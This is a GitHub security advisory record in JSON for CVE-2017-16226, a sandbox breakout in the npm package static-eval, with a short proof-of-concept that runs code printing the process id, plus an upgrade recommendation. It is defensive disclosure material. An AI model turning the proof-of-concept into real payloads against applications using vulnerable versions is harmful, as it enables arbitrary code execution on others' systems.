{"id":"GHSA-5mjw-6jrh-hvfq","summary":"Sandbox Breakout / Arbitrary Code Execution in static-eval","details":"Affected versions of `static-eval` pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.\n\n## Proof of concept\n```js\nvar evaluate = require('static-eval');\nvar parse = require('esprima').parse;\nvar src = '(function(){console.log(process.pid)})()';\nvar ast = parse(src).body[0].expression;\nvar res = evaluate(ast, {});\n// Will print the process id\n```\n\n\n## Recommendation\n\nUpdate to version 2.0.0 or later.","aliases":["CVE-2017-16226"],"modified":"2023-11-08T03:59:12.567883Z","published":"2018-08-06T21:37:06Z","database_specific":{"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2020-06-16T21:16:46Z","nvd_published_at":null,"cwe_ids":["CWE-20"]},"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2017-16226"},{"type":"WEB","url":"https://github.com/substack/static-eval/pull/18"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-5mjw-6jrh-hvfq"},{"type":"WEB","url":"https://maustin.net/articles/2017-10/static_eval"},{"type":"WEB","url":"https://www.npmjs.com/advisories/548"}],"affected":[{"package":{"name":"static-eval","ecosystem":"npm","purl":"pkg:npm/static-eval"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.0.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2018/08/GHSA-5mjw-6jrh-hvfq/GHSA-5mjw-6jrh-hvfq.json"}}],"schema_version":"1.9.0"}